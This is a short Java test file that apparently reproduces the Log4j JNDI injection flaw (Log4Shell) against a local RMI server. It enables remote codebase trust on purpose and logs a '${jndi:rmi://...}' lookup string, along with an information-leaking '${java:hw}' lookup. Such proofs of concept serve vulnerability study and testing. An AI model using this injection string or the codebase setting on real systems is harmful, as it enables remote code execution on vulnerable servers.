package cn;

import java.io.IOException;

import javax.naming.spi.NamingManager;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 *
 * version，vm,runtime，os ，locale，hw
 *
 * @see NamingManager#getObjectFactoryFromReference(javax.naming.Reference, java.lang.String)
 * @author summit
 * @since 2021/12/13 13:33
 */
public class LogTestMain {

	public static final Logger logger = LogManager.getLogger(LogTestMain.class);

	public static void main(String[] args) throws IOException {


		System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

		String info = "${java:hw}";

		String info1 = "${jndi:rmi://127.0.0.1:1091/obj}";

		logger.info("===========================user {}", info1);
	}
}
